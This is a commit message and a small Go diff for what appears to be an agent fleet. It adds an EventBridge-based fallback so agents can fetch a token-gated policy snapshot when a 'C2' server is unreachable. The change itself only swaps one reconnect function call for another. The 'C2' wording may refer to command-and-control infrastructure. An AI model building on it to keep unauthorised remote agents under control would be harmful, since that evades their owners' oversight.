Add EventBridge policy fan-out for standalone degraded mode.

Ship Lambda/EventBridge templates and a token-gated policy snapshot endpoint so agents can poll hospice, vaccination lanes, and genesis version when C2 is down, preferring EventBridge relay over 30m reconnect.

agent/deploy/fleet_torrent_seeder.go

@@ -25,7 +25,7 @@ func StartFleetTorrentSeederService(cfg config.RuntimeConfig) {
 			Healthy: true,
 		}})
 	}
-	StartZeroServerReconnect(func() error {
+	StartZeroServerPolicyMode(cfg, func() error {
 		log.Printf("[fleet-torrent] zero-server reconnect attempt")
 		return nil
 	})